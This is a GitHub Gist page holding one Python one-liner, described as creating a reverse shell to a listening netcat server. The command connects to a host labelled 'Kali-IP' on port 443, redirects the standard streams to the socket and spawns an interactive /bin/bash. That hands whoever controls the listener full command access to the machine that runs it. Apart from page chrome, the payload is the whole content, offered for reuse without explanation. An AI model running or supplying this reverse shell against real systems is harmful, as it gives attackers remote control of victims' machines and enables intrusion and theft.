Created
August 21, 2017 02:18
-
-
Save lucasgates/0c6330c582d0ccf52fad129d5e7e9de7 to your computer and use it in GitHub Desktop.
Python one-liner to create a reverse shell to listening netcat server.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Kali-IP",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment